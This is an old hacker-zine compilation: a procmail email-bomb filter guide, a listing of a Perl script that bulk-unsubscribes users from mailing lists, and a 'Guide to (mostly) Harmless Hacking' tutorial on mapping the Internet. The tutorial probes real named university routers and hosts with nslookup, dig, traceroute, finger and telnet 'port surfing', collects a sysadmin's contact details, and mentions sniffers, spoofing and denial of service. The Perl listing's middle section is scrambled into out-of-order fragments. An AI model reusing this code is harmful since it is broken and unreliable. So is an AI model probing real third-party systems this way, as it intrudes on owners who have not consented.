We now go to an excerpt from Nancy M.'s Mail Filtering FAQ: Enter a modified version of the following in your ~/.forward: "|IFS=' ' && exec /usr/local/bin/procmail -f- || exit 75 #nancym" == IMPORTANT NOTES == * Make sure you include all the quotes, both double (") and single ('). * The vertical bar (|) is a pipe. * Replace /usr/local/bin with the correct path for procmail (see step 1). * Replace `nancym' with your userid. You need to put our userid in your .forward so that it will be different than anyother .forward ile on your system. * Do NOT use ~ or environment variables, like $HOME, in your .forward file. If procmail resides below your home directory write out the *full* path. On many systems you need to make your .forward world readable and your home directory world searchable in order for the mail transport agent to "see" it. To do this type: cd chmod 644 .forward chmod a+x . If the .forward template above doesn't work the following alternatives might be helpful: In a perfect world: "|exec /usr/local/bin/procmail #nancym" In an almost perfect world: "|exec /usr/local/bin/procmail USER=nancym" In another world: "|IFS=' ';exec /usr/local/bin/procmail #nancym" In a different world: "|IFS=' ';exec /usr/local/bin/procmail USER=nancym" In a smrsh world: "|/usr/local/bin/procmail #nancym"

Now that you have all the necessary files made, it's time to test this filter. Go into your mailreader and create a new folder called Ebombtest. This procedure differs from program to program, so you may have to experiment a little. Then open up the rc.noebomb file and change /dev/null to Ebombtest. (You should have already changed Conditions 2 and 3 to what you want; if not, go do it now!) Finally, open up .procmailrc and remove the # from the last line. You will need to leave this on for a bit to test it. Ask some of the people in Condition 2 to send you some test messages. If the messages make it through to your Inbox, then that condition is working fine. Send yourself some fake email under a different name and check to see if it ends up in the Ebombtest folder. Also, send yourself some fakemail from root@wherever.com to make sure that Condition 1 works. If you're on any mailing lists, those messages should be ending up in your Inbox as well. If all of these test out fine, then congratulations! You now have a working defense against email bombs. For the moment, change the Ebombtest line in the rc.noebomb file back to /dev/null, and put the # in front of the INCLUDERC line in the .procmailrc file. If someone ever decides to emailbomb you, you only need to remove the #, and you will have greatly cut down on the amount of messages coming into your Inbox,

giving you a little bit of breathing room to start unsubscribing to all those lists, or start tracking down those idiots who did it and get their asses kicked off their ISP's. If you have any comments or questions about this, email me at zachb@netcom.com. Emailbombs WILL go to /dev/null, so don't bother! Disclaimer: When you activate this program, it is inevitable that a small amount of wanted mail MAY get put into /dev/null, due to the fact that it is nearly impossible to know the names of all the people that may write to you. Therefore, I assume no responsibility for any email which may get lost, and any damages which may come from those lost messages. ******************** Don’t have procmail? If you have a Unix box, you can download procmail from ftp://ftp.informatik.rwthaachen.de/pub/packages/procmail/ ******************* A note of thanks goes to Damien Sorder (jericho@dimensional.com) for his assistance in reviewing this guide. And now, just to make certain you can get this invaluable Perl script to automatically unsubscribe email lists, here is the listing: #!/usr/local/bin/perl # unsubscribe # # A perl script by Kim Holburn, University of Canberra 1996. # kim@canberra.edu.au # Feel free to use this and adjust it. If you make any useful adjustments or # additions send them back to me. # # This script will unsubscribe users in bulk from whatever mail lists they are # subscribed to. It also mails them that it has done this. # It is useful for sys admins of large systems with many accounts and # floating populations, like student servers. # This script must be run by root although I don't check for this. # You have to be root to read someone else's mailbox and to # su to their account, both of which this script need to do. # # This script when applied to a mailbox will look through it to find # any emails sent by mailing lists, attempt to determine the address of the # mailing list and then send an unsubscribe message from that user. # If invoked with no options only the mailbox name(s) it will assume # the mailbox filename is the same as the username, as it is on a sun. # # Technical details: # To find emails from mailing lists it looks for "owner" as part of # the originating email address in the BSD From line (envelope). # list servers that don't do this will be missed if you can figure a way # round this let me know. # The script doesn't do any file locking but then it only reads the mailbox # file. sub fail_usage { if (@_ ne '') { print "Error : ", @_, "\n"; }

print "Usage : $0 [-d] mailboxes\n"; print "Usage : $0 [-d] -u user mailbox\n"; print "Usage : $0 [-d] -u user -l listname -h host -a listserver\n"; print "where listserver is the full email address of the listserver\n"; exit; } sub unsub { local ($myuser, $mylist, $myhost, $myaddress) = @_; if (!$debug) { if (!open (SEND, "|(USER=$myuser;LOGNAME=$myuser;su $myuser -c \"/usr/ucb/mail $myaddress\")")) { print "Couldn't open mailer for user \"$myuser\"\n"; next; } print SEND "unsubscribe $mylist\n" ; close SEND; } else { print "No unsub \"$myuser\" on \"$mylist@$myhost\" to :\n"; print " $myaddress\n"; } } sub notify { local($myuser, $mylist, $myhost, $myaddress) = @_; if (!$debug) { if (!open (SEND, "|/usr/ucb/mail -s \"unsubscribed $mylist\" $myuser")) { print "Couldn't open mailer for user \"$myuser\"\n"; next; } $mess = <<EOM; You have been automatically unsubscribed from the mailing list : $mylist@$myhost to resubscribe follow the original directions or EOM print SEND $mess; if ($myaddress !~ /,/) { print SEND "send a message to the address $myaddress \n" ; } else { print SEND "send a message to the appropriate one of the addresses:\n"; print SEND "$myaddress \n" ; } $mess4 = <<EOM2; with no subject, no signature and a single line : subscribe (your name) EOM2 print SEND $mess4 ; close SEND; } else { print "No notify \"$myuser\" on \"$mylist@$myhost\" to :\n"; print " $myaddress\n"; } } $debug=0; $usersupplied=0; while (($#ARGV > (-1)) && ($ARGV[0] =~ /^-/)) {

next. tr/A-Z/a-z/.*@//. $address).//. #print "debug d=\"$debug\" u=\"$user\" l=\"$list\" h=\"$host\"\n".*$//./) { print "skipping wrong type of file \"$file\"\n". } $user =~ s@^. $host =~ s/^. if ($address !~ /@/) { &fail_usage("bad address"). } $user =~ s/^\. $host.*$//.]+@)|([-\w.]+)\b. } elsif ($ARGV[0] eq '-h') { shift ARGV. } } if ($usersupplied && $#ARGV > 0) { &fail_usage(). $user =~ s/\.*\bowner-([-\w. } } $usersupplied = ($user ne '') .. } if (!defined ($addresses{$_})) { $addresses{$_}="". &notify ($user.])([-\w.]+@/) { s/^.]+@[\w. $user =~ s/@. if (!$usersupplied) { $user=$file. $user=shift ARGV. next.])([-\w.*$/\1/./) { print "skipping wrong type of file \"$file\"\n".]+)\b. $list.*\bl-([-\w.]+)\b.]+@)|([-\w. } elsif ($#ARGV < 1) { &fail_usage("option \"$ARGV[0]\" needs an argument").]+)-l(@[\w. $debug=1. $host.*$//. if (/\bl-[-\w. } else { &fail_usage("no files and no addresses").*$/\2\3/. } if ($file =~ /\.]+)\b. } elsif ($ARGV[0] eq '-l') { shift ARGV. while (<MYFILE>) { # if (/(\bnews-[-\w.if ($ARGV[0] eq '-d') { shift ARGV.]+-l@)/i) { chop. "<$file" )) { print "Couldn't open file \"$file\"\n". } else { s/(^|^. if ($#ARGV == (-1)) { if ($usersupplied && $list ne '' && $host ne '' && $address ne '' && $#ARGV) { $list =~ s/@. $list=shift ARGV. } print "--------------------------opening file \"$file\"\n".]+)-owner(@[\w.]+-request@)/i) if (/(\bowner-[-\w. } if ($file =~ /\. } else { &fail_usage().]+@/) { s/^. tr/A-Z/a-z/. $address). $address=shift ARGV.]+@)|([-\w.*[^-\w.]+@[\w. $list. next. } foreach $file (@ARGV) { %addresses=(). } else { s/(^|^.lock/) { print "skipping lock file \"$file\"\n". if (/\bowner-[-\w. if (!open (MYFILE. } elsif ($ARGV[0] eq '-a') { shift ARGV.*/@@.*[^-\w.-]/) { next. } } if (/(\bl-[-\w. } elsif ($ARGV[0] eq '-u') { shift ARGV.]+-owner@)/i) { chop.*$/\1/. } if (/[^a-z0-9@. if ($file =~ /^\.]+@)|([-\w. next. #print "debug \$#ARGV=$#ARGV a=\"$address\" \n". $host=shift ARGV. exit. } &unsub ($user. } .]+-news@)/i) # if (/(\brequest-[-\w.*$/\2\3/.

*$//. $list=~s/@. ____________________________________________________________ Why map the Internet? .majordomo@$host". $host =~ s/^. } } } ____________________________________________________________ GUIDE TO (mostly) HARMLESS HACKING Vol. next.. while (($key.$value)=each %addresses) { print "$key\n". while (<MYFILE>) { foreach $address (keys %addresses) { $host=$address.*@//. while (($key. } if (! keys %addresses ) { print "no listservers\n".$value)=each %addresses) { $host=$key. $list. # print "$value@$host key=\"$key\" list=\"$list\" \n". } } } close MYFILE. $host=~s/^. } else { print "debug no mail\n". &unsub ($user.-]/) { next. } if (!defined ($addresses{$_})) { $addresses{$_}="".*@//. } print "address=\"$address\"\n". } if (! open (MYFILE. # print "found 1 = \"$1\"\n".if (/[^a-z0-9@. however. $list. $host. } else { $address="$value@$host". &notify ($user. next. Dig! Whois! Nslookup! Traceroute! Netstat port is getting hard to use anymore. } } } close MYFILE. } print "looking for listserver addresses\n". $address). if (/(listserv|listproc|majordomo)@$host/i) { $addresses{$address}=$1.listproc@$host. 3 Number 2 How to map the Internet. $address). $list=$key. print "unsubscribe $list\n".. $host. "<$file" )) { print "Couldn't open file \"$file\"\n". if ($value eq '') { $address="listserv@$host. if (!$debug) { print "Mailing $user\n".

is Botswana even on the Internet? It’s a lovely landlocked nation in the southern region of Africa. I did that once that when email failed to a friend in Northern Ireland.) Now we are . Trust me. no one has a complete map. *************************** The first step may be to find where your ISP has hidden the program by using the command “whereis nslookup. get the book _DNS and BIND_ by Paul Albitz and Cricket Liu.) Aha -. If you want to learn how to explore to the max. If your ISP doesn’t offer shell accounts. or a shell account! SHELL ACCOUNT! If you don’t have one. How will your ISP know that their communications provider is lying down on the job unless someone advises them of trouble? * Because if you want to be a computer criminal. Our first step in learning about Botswana’s Internet hosts is to use the Unix program nslookup. The “shell” is the program that translates your keystrokes into Unix commands.59. The language of commerce in Botswana is English. you will find bash (for Bourne again shell) to be easiest to use. (It is possible to run nslookup on another computer from yours. 1997 edition. We’re just going to explore some of the best tools available for mapping the uncharted realms of the Internet.” (Or your computer may use the “find” command. **************************** Newbie note: A shell account is an account with your ISP that allows you to give commands on a computer running Unix. published by O’Reilly. For this lesson. diamonds and abundant wildlife. Or. **************************** Evil genius tip: Nslookup is one of the most powerful Internet mapping tools in existence. you may be able to get the bash shell by simply typing the word “bash” at the prompt.com/pocia/. Now since this is a lesson on *legal* hacking. and it changes so fast. Yes. so there’s a good chance that we could understand messages from their computers. by Cameron Newham and Bill Rosenblatt. famous for cattle ranching. you should either have some sort of Unix on your personal computer.like exploring unknown continents. you can get some benefit even if all you have is Windows. We can hardly do it justice here. you may find an ISP that will give you a shell account at http://www. Ask tech support at your ISP for a shell account set up to use bash.there it is! I give the command: ->/usr/etc/nslookup Default Server: swcp.com Address: 198. A great book on using the bash shell is _Learning the Bash Shell_. we’re not going to help you out with how to determine the best box in which to install a sniffer or how to tell what IP address to spoof to get past a packet filter. you can help your ISP trouble shoot broken links in the Internet. * Because when you can’t make contact with someone in a distant place. **************************** So for our mapping expedition. your map of the connections to your intended victim gives you valuable information.2 > These two lines and the slightly different prompt (it isn’t an arrow any more) tell me that my local ISP is running this program for me. if you are a beginner. The Internet is so huge.115. get a new ISP that does offer it. published by O’Reilly. let’s start by visiting the Internet in Botswana! Wow.celestin. But to take full advantage of this lesson.* Because it’s fun -.

59.192.no nameservers there -. they eventually.1.128.PSG.NET bw nameserver = HIPPO.com Address: 198.this is VERY important -. but unlikely.0.28.za za nameserver = HIPPO.AC.230.2 Non-authoritative answer: za nameserver = DAISY.but must be well along in South Africa.1 I look up the domain name “za” and discover it stands for South Africa. usually within seconds. so it is possible. To do that I look up the list of top level domain names on page 379 of the 1997 edition of _DNS and BIND_.AC. It also stores information on how to find other computers.COM za nameserver = MUNNARI.UND. Server: swcp.UU. bw nameserver = DAISY.EE.3 HIPPO. so I have to remember that my bash commands don’t work any more.EE.59.115.115.34 NS.2 Non-authoritative answer: This “non-authoritative answer” stuff tells me that this information has been stored for awhile. When various nameservers get to talking with each other. remembering -. Server: swcp.za za nameserver = UCTHPX.UU. Our next step is to tell the program that we would like to know what computers handle any given domain name.OZ.za za nameserver = RAIN.UND. So I enter it at the prompt.NET inet address = 137.AU za nameserver = NS. For Botswana it’s bw.ZA bw nameserver = RAIN.COM inet address = 147.PSG. Look at all those nameservers! *********************** Newbie note: a nameserver is a computer program that stores data on the Domain Name System.EE.PSG.ZA Authoritative answers can be found from: DAISY. Since we are still in the nslookup program.AC.COM bw nameserver = NS.AC. I command it to tell me what computers are nameservers for South Africa: > za.231.NET za nameserver = NS.ZA inet address = 146.in the program.NET . > set type=ns Next we need to know the domain name for Botswana.AC. The Domain Name System makes sure that no two computers have the same name.ZA inet address = 146. that the information below has changed.EU. This tells me that the Internet is in its infancy in Botswana -.RU.AC.AC.com Address: 198. can figure out the routes to any one of the millions of computers on the Internet.UU.18 RAIN. Let’s learn more about South Africa.39.UCT. what this tells me is that people who want to set up Internet host computers in Botswana usually rely on computers in South Africa to connect them.RU.UND. *********************** Well.RU.to put a period after the domain name: > bw.

we get: ->whois 146. Kewl! This tells us what kind of computer it is -.0.PSG.DEC.RU.128.EE. we exit the nslookup program with the command ^D.OZ.AC.192.18 APIES.AC -.AC.1 RAIN.COM inet address = 16. Now. Sun OS.OZ.2. Please use the whois server at nic.202.16. use '%' to show JUST the registered users.UND. but sometimes it works. We see computers in Australia (au) and the US (com domain).RU.192.18 UUCP-GW-1. Next.1.FRD.in this case APIES.1 supposed to mean? That’s the name of a computer on the Internet (inet) -.AC. ASN's.ddn.250. The InterNIC Registration Services Host contains ONLY Internet Information (Networks.COM inet address = 204.28.in octal. I use the whois command with the numerical address of one of the nameservers.34 MUNNARI.RU. To see this host record with registered users.NET inet address = 192.za Authoritative answers can be found from: DAISY.11 UUCP-GW-1.214. voila. It is VERY IMPORTANT to exit nslookup this way and not with ^C.COM inet address = 147.18 UCTHPX.DEC. Domains.ZA [No name] (HIPPO) Hostname: HIPPO.a Sun -.1 System: SUN running SUNOS Domain Server Record last updated on 24-Feb-92.1 HIPPO.DEC.AC.za nameserver = UUCP-GW-1.158.214.ZA Address: 146. And.230.123.EU.mil for MILNET Information. repeat the command with a star ('*') before the name.80.PA.2 MUNNARI. That’s made by holding down the control key while hitting the small “d” key.FRD. ********************** Aha! Some of those nameservers are located outside South Africa.AC.AC.1 *********************** Newbie note: What is inet address = 137.80.ZA .AC.AU inet address = 128.UCT. This doesn’t always give back the text name.za inet address = 146.231.AU inet address = 128. or.EE. we take one of the nameservers in South Africa and ask: ->whois HIPPO.AC. Next.250.PA.22.1.128. All computer names on the Internet must be changed into numbers so that other computers can understand them.0. Octal is like regular numbers except in base 8 rather than base 10.21 NS.231.UND.za inet address = 137.za inet address = 137.za inet address = 146.18 [No name] (DAISY1) Hostname: DAISY.and the operating system.230.PA.128. and POC's). just for variety.FRD.COM za nameserver = APIES.

measurement and management.t16-0.10.59.sprintlink.192.112.230.westnet.cnss116.pcworld.ans.net (140.1.103. ************************ Netiquette tip: The traceroute program is intended for use in network testing.67.223.t3. It should be used primarily for manual fault isolation. ************************ I give the command: ->whereis traceroute traceroute: /usr/local/bin/traceroute OK.192.net (204.NM.66) 583 ms 545 ms 565 ms .17.109) 313 ms 479 ms 473 ms 11 sl-stk-2-F/T.136.1) 3 ms 4 ms 4 ms 2 glory-cyberport.9) 31 ms 39 ms 84 ms 7 h14.74. ************************ ************************ YOU COULD GO TO JAIL WARNING: If you just got an idea of how to use traceroute for a denial of service attack.106) 164 ms * 176 ms 13 sl-dc-7-F/T.228. If you do.net (144.t112-0.144.ans. I’ll give another interview to PC World magazine (http://www.net (140.134.221) 7 ms 6 ms 5 ms 6 h14.222.sprintlink.Albuquerque.sprintlink.UND. I give the command: ->/usr/local/bin/traceroute DAISY.2) 179 ms * * 12 sl-dc-7-H4/0-T3.ans.net (140. like the time I couldn’t email my friend in Northern Ireland.Los-Angeles.nm.59.ans.33) 47 ms 8 ms 4 ms 3 ENSS365.Address: 146.59. 40 byte packets 1 sisko (198.net (198.San-Francisco.78.197) 135 ms 152 ms 130 ms 15 204.22) 73 ms 58 ms 54 ms 9 sl-mae-w-F0/0.net (198.t3. don’t call your favorite journalist and tell him or her that you are plotting a denial of service attack against the ISPs that serve famous people like Bill Clinton and Carolyn Meinel!:-) Don’t write that script.9.ans. but all this is doing so far is just telling us info about who is a nameserver for whom.ORG (129.121. Use it too much and your ISP may start asking you some sharp questions. it is unwise to use traceroute from automated scripts which could cause that program to send out huge numbers of queries.0. And if you get caught we’ll all laugh at you as you get hustled off in chains while your journalist friend gets a $250K advance on his or her book deal about you.223.59.sprintlink.t3.ZA (146.3) 5 ms 10 ms 7 ms 4 h4-0.net (204.13) 67 ms 43 ms 68 ms 8 enss220.net (144. 30 hops max.t8-0.11) 97 ms 319 ms 110 ms 10 sl-stk-1-H11/0-T3. Because of the load it could impose on the network. Don’t use it.10.6. now we’re ready to map in earnest.t3.AC.228.gsl.net (198.66 (204.t3.html) about how a three-year-old could run the attack.225.18).9.UND.sprintlink.67. Ah.45) 17 ms 41 ms 28 ms 5 f2.EE.223.225.ZA And the answer is: traceroute to DAISY.Albuquerque.115.net (140. Now how about directly mapping a route from my computer to South Africa? For that we will use the traceroute command.EE.com/news/newsradio/meinel/index.1) 143 ms 129 ms 134 ms 14 gsl-dc-3-Fddi0/0.18 System: HP-9000 running HP-UX Domain Server Record last updated on 14-Sep-94.230.net (192.AC.32.

Open a PPP connection. Especially if your are tracing a route to a distant computer. The numbers after that are the time in milliseconds it takes for each of three probe packets in a row to make that hop.230. I’m not enough of a genius yet to figure out this one for sure. then minimize your on-line access program. Every time your computer connects to another computer on the Internet.I mean. if you use Compuserve or AOL. Open a DOS window. Be patient.uni. it takes awhile to make all the connections.net. for mapping the Internet. Are we having phun yet? ************************ Evil genius tip: If you want to get really. Especially the Sun OS manual.2) 650 ms * 548 ms Gw-Uninet1.232. make a connection.und.190. 2.com> where “distant. but since most of you reading this are consenting adults. If you decide to use Windows for this hacking lesson. on-line manual stuff is often written in a witty.computer. truly excruciating detail on the traceroute command.za (146.128.230.net.8) 498 ms 545 ms * IN.uni.192.232. Sorry.CC. 4. any time greater than 3 seconds causes an * to be printed out.za (155.1.uni. How about hop 16? It gave us no info whatsoever. the time for the hop timed out. first in text.using the “tracert” command.249.ac.230. In the case of this traceroute command.ee.za (155.und01. Damien Sorder has a message for us: “DON'T ENCOURAGE THEM TO USE WIN95!@#$!@#!” He’s right.uni. 4.18) 573 ms 585 ms 493 ms So what does all this stuff mean? The number in front of each line is the number of hops since leaving the computer that has the shell account I am using.1) 881 ms 517 ms 478 ms cisco-unp.com” is replaced by the name of the computer to which you want to trace a route.3BSD Unix network code.und.csir00. not going to jail -.ac. I figure it’s your funeral if you stoop to Windows hacking on an AOL PPP connection! *********************** .ac.1) 424 ms 485 ms 492 ms e0. and then in parentheses its numerical representation.und02. The second entry is the name of the computer through which this route passes. At the DOS prompt type in “tracert <distant. 6.net.232.za (146.und. entertaining fashion.70.za (146. 3. That silent gateway may be the result of a bug in the 4.computer. you can get the same results -.232. 5.82.16 17 18 19 20 21 22 23 *** e0. while in your shell account type in the command: ->man traceroute I promise.2 or 4. Click on the Start menu.2) 509 ms 530 ms 459 ms s0. A computer running one of these operating systems sends an “unreachable” message. For example.1) 516 ms 436 ms 400 ms s1. Here’s how it works: 1.und00. Press the Enter key. it first has to trace a route to the other computer.za (155.net. When an * appears.196. Or it could be something else. That’s why it sometimes take a long while for your browser to start downloading a Web page.za (155. Honest! ************************ ************************ Note for the shell-account-challenged: If you have Windows 95.

86400 NS Eagle.za.AC.und.ac. Auth: 5.ZA . 86400 NS ucthpx. und.230. flags: qr aa rd ra.230. 86400 NS Rain. 86400 NS hiPPo.1 146.za. .za. and a few other goodies.za.za.za is a Cisco.ZA. on my shell account I found I could run dig straight from my bash prompt: ->dig CISCO-UNP. status: NOERROR.ac. Huh? Traceroute tells us cisco-unp. res options: init recurs defnam dnsrch . ASN's.und.psg. OK? First.ac.AC. especially trying to use whois on distant computers.248.za.UND.ZA. Since 85% of the routers in the world are Ciscos. But dig is a much older program. Ans: 4. the first hop in this route is to a computer named “sisco.und.ac.ac. For details on dig.com.ddn.UND.za. use the command from your shell account “man dig. We are also going to find out the model number. in many ways harder to use than nslookup.60. AUTHORITY RECORDS: und.ZA.230. und.ac.ZA. und.” which is also probably a Cisco router. ANSWERS: CISCO-UNP.UND. 86400 A 146. got answer: . and POC's). Addit: 5 . type = A.12. id: 6 . CISCO-UNP.128.und.za.230.AC.ZA". In fact.8 .” ********************** In fact. But we are going to not only make sure cisco-unp.UND.AC.und.ac.1 146. ADDITIONAL RECORDS: Eagle.za exists.AC.za No match for "CISCO-UNP. QUESTIONS: .UND.. CISCO-UNP. 86400 NS Shrike.UND.und.UND.und.ac... and that computer in turn is connected to cisco-unp.ZA .0 <<>> CISCO-UNP. Let’s learn a little something about this cisco-unp.ac.1 146. that’s a pretty safe bet.ac. Domains.za.ac. und.ac..za. CISCO-UNP.ac.uct. The InterNIC Registration Services Host contains ONLY Internet Information (Networks.15 . 86400 86400 86400 86400 A A A A 146.ac.. but whois can’t find it! Actually this is a common problem.128. ->>HEADER<<.za. the whereis command will turn up another incredibly cool program: dig! ********************** Newbie note: Dig stands for “domain information groper.AC. Ques: 1.und.Now this is getting interesting. class = IN .230.” It does a lot of the same things as nslookup..ac. we can guess from the name that is it a Cisco router.ru.UND.ZA.. CISCO-UNP.. <<>> DiG 2. What do we do next? Well. Please use the whois server at nic. We know that Daisy is directly connected to at least one other computer.opcode: QUERY.AC. if you are lucky..AC. First we try out whois: ->whois cisco-unp.za.mil for MILNET Information.

28.ac.ZA. 14400 A 147.ZA. 86400 A 137.ZA is a domain name within the Internet. and additional records. marks.Shrike. But we already knew that . we want to get wise to all these variations in how domain names are associated with boxes. But we can still learn even more about that Cisco router named CISCO-UNP.0.ZA. again remembering to put a period at the end: > und.AC. you’ll find a tremendous variation in whether the routers map to same or different domain names. I’m a hacker wannabe. answers.ZA.1 Rain.UND.AC.za mail addr = postmaster.2 *** No start of authority zone information is available for CISCO-UNP. Addit: 5” tells us how many items we’ll get under each topic of questions.128. Server: swcp.ac.com Address: 198.za .und.AC..com Address: 198.198. > set type=soa Then I enter the name of the computer about which I am curious.) This “records” stuff refers to information stored under the domain name system.115. (You will get different numbers on that line with different queries. Auth: 5.za.34 .59.AC.59.ac.und.uct. the ones preceded by the .. meaning CISCO-UNP. We go back to nslookup and run it in interactive mode: ->/usr/etc/nslookup Default Server: swcp. really handy when we’re playing vigilante and need to persecute a spammer or bust a child porn Web site or two. mostly tell what the default settings of the command are and what we asked it. 86400 A 146.2 .59. We learn from dig is that CLASS=IN.2 und. If you use the dig command on each link in the route to DAISY.115.2 > Now let’s do something new with nslookup..ac.ru.za. The line “Ques: 1.ac.115.UND.115.158.1 hiPPo. The first really *new* thing we learn is that four routers all share the same domain name. The first few lines. 86400 A 146.za. authority records.ac. Here’s how we can get the email address for the sysadmin of an Internet host computer.com. nice. This is a command that comes in really. The reverse can also happen: several domain names can all belong to the same numerical address.za origin = Eagle.13 ucthpx. WHEN: Fri Jan 17 13:03:49 1997 . Note that I put a period after the end of the host name.ac. FROM: llama to SERVER: default -. Total query time: 516 msec .psg. We can tell that because their numerical Internet numbers are different. Server: swcp. Ans: 4. As hackers.UND.AC..und.230.128.UND.com Address: 198.EE.231.za. It often helps to do this with nslookup: > CISCO-UNP.UND. Now what do I do? Give up? No.59.128.. MSG SIZE sent: 37 rcvd: 305 Ahhh. right? So I try entering just part of the domain name.

za inet address = 146.und.txt.8).231.za inet address = 137.com inet address = 147. From this we also can infer that this router handles a subnet which serves the U of Natal and includes daisy.230.psg.1 hiPPo.1 Rain.128.ac. Of course we have a pretty good guess that it is a Cisco router.net/rfc/rfc1700.. You can find a copy of this RFC at http://ds2.15 Shrike. and we even got a phone number for the sysadmin.230.28.za inet address = 146.und.und. But why stop with a mere guess when we can port surf? So we fall back on our friend the telnet program and head for port 2001: ->telnet 146. C **************************************************** *** Welcome to the University of Natal *** *** *** *** Model : Cisco 4500 with ATM and 8 BRI ports *** *** *** *** Dimension Data Durban .za inet address = 146.128.za (146.230.ac. But we aren’t done yet with cisco-unp. Escape character is '^]'.serial=199610255.230.13 ucthpx. Read it and you’ll be in for some happy port surfing! ************************ Evil Genius tip: there are a bunch of ports used by Cisco routers: cisco-fna 130/tcp cisco FNATIVE cisco-tna 131/tcp cisco TNATIVE cisco-sys 132/tcp cisco SYSMAINT licensedaemon 1986/tcp cisco license management tr-rsrb-p1 1987/tcp cisco RSRB Priority 1 port tr-rsrb-p2 1988/tcp cisco RSRB Priority 2 port tr-rsrb-p3 1989/tcp cisco RSRB Priority 3 port stun-p1 1990/tcp cisco STUN Priority 1 port stun-p2 1991/tcp cisco STUN Priority 2 port stun-p3 1992/tcp cisco STUN Priority 3 port snmp-tcp-port 1993/tcp cisco SNMP TCP port stun-port 1994/tcp cisco serial tunnel port perf-port 1995/tcp cisco perf port tr-rsrb-port 1996/tcp cisco Remote SRB port gdp-port 1997/tcp cisco Gateway Discovery Protocol . AND the IP addresses of some other boxes he or she administers. retry=3600.8 . How do I know that? From the RFC (request for comments) that covers all commonly used port assignments.128.158.8 2001 Trying 146. expire=3000000.ac. min=86400 Eagle.230.ac. refresh=10800.128. we know now that this is a Cisco model 4500 owned by the University of Natal.internic. Connected to 146.0.128.uct.34 Bingo!!! I got the email address of a sysadmin whose domain includes that Cisco router.031-838333 *** *** *** *************************************************** Hey.128.ru.128.230.128. But why did I telnet to port 2001? It’s in common use among routers as the administrative port..8.ac. But notice it doesn’t list any of those routers which the sysadmin undoubtedly knows a thing or two about.

no username requested. Connected to 146..128.031-838333 *** *** *** ************************************************************************* User Access Verification Password: Hey.8 . C ************************************************************************* *** Welcome to the University of Natal *** *** *** *** Model : Cisco 4500 with ATM and 8 BRI ports *** *** *** *** Dimension Data Durban .x25-svc-port 1998/tcp cisco X.230. Escape character is '^]'.031-838333 *** *** *** ************************************************************************* Line User Host(s) Idle Location * 2 vty 0 idle 0 kitsune. this is interesting.128.230.230.. the one you usually go to when you want to log in.230.8 Trying 146. Hmmm.230.128.8.. just a password.com BR0:2 Sync PPP 00:00:00 BR0:1 Sync PPP 00:00:00 BR1:2 Sync PPP 00:00:00 BR1:1 Sync PPP 00:00:00 BR2:2 Sync PPP 00:00:01 BR2:1 Sync PPP 00:00:00 BR5:1 Sync PPP 00:00:00 Connection closed by foreign host. we don’t need to put the 23 after the host name: ->telnet 146.25 service (XOT) tcp-id-port 1999/tcp cisco identification port ************************ But what about the “normal” telnet port.8 79 Trying 146.128.128. .8. I’d make it a little harder to log in. C ************************************************************************* *** Welcome to the University of Natal *** *** *** *** Model : Cisco 4500 with ATM and 8 BRI ports *** *** *** *** Dimension Data Durban . what happens if I try to port surf finger that site? That means telnet to the finger port.230..8 . Escape character is '^]'. Connected to 146.128. which is 23? Since it is the “normal” port. which is 79: ->telnet 146.swcp. If I were the sysadmin.

za: Connection refused Sigh.82. Connected to 155.Notice that finger lists the connection to the computer I was port surfing from: kitsune. so I exit telnet and try the finger program on my shell account computer: ->finger @daisy. It sounds like a friendly place. when you port surf. your target computer knows where you came from.com..18 .za [daisy.ac.ee. It’s hard to find open finger ports any more. Let’s finger and see who’s logged in just now: Since I am already in the telnet program (I can tell by the prompt “telnet>“).ac.82. And NetBSD is a freeware Unix that runs on a PC! Probably a 80386 box.232. “If you install the new Linux distributions.za) (ttyp0) login: Hey. that’s probably the electrical engineering (EE) department.und.2. they use cheap computers.ac. this is interesting. Connected to 146..ee.230.18.18 .frd.2 ..ee.. Of course I will be a polite guest.2 2001 Trying 155. it comes with Cfingerd. ->telnet 155. Why would I (and others) want to shut it down? Not because of hackers and abuse or some STUPID S*** like that.ee.ac..html. telnet: connect: Connection refused telnet> quit Well.und. Because it gives out way too much information when you finger a single user.ac.18 Trying 146. Damien Sorder points out.232. Let’s telnet to the login port of daisy.altavista.192. Since we now know this is a university. Escape character is '^]'.” I manage to pull up a little more info on how to map the interconnections of University of Natal computers with an search of the Web using http://digital. . Now let’s try the obvious. unless you know how to do IP spoofing.82.” However. I go to daisy using the “open” command: telnet> open daisy.za/uninet/sprint. But it’s a good security practice to close finger. Next. that didn’t work. I use the numerical address just for the heck of it: ->telnet 146. and messages are friendly. all the links to netwrok traffic statistics from that site are dead.230.ee.192. You can pretty much expect that links in the middle of a long traceroute will be big computers owned by the bigger companies that form the backbone of the Internet.za] finger: daisy. It links me to the site http://www.192.und.. let’s look into number 20 on that traceroute that led us to the University of Natal. Getting this info makes me almost feel like I’ve been hanging out at the University of Natal EE computer lab.ac. NetBSD/i386 (daisy.und.230. which is titled “Traffic on the UNINET-SPRINTLINK Link.192.za 79 Trying 146.230.und. Judging from their router. But no one else seems to be on line just now.232. security is somewhat lax. Please remember. You get machine load and all the user information.

232. Id: und02 Authorised Users Only! ------------------------ User Access Verification Username: Yup. I gave an example of the incredible wealth of information you can get from netstat on the GTMHH on port surfing.232. In fact. We try telneting to the netstat port. But every day it is harder to find a public netstat port.” How can you can read that information? Try this: First.2 . This. And since port 2001 works. though. Connected to 155. port 15 is no longer reserved as the netstat port (as of 1994. we’re out of friendly territory now..82. it may be a router.2 Trying 155.232. if it happens to be open to the public.2.2 15 Trying 155.82.82. Id: und02 Authorised Users Only! ------------------------ User Access Verification Username: Now just maybe this backbone-type computer will tell us gobs of stuff about all the computers it is connected to.. That’s because the information netstat gives is so useful to computer criminals. change to the /etc/ directory: ->cd /etc Then command it to print it out to your screen with: ->more services # .232. Escape character is '^]'.232. according to the RFC). will tell us all about the computers that connect through it: ->telnet 155. 15. telnet: connect: Connection refused Sigh.2 ..82. Just for laughs.82. ****************************** Newbie note: want to know what port assignments your ISP uses? Sorder points out “ /etc/services on most machines will [tell you this].. So you will find few boxes using it.Escape character is '^]'. let’s go back to the default telnet port: ->telnet 155.

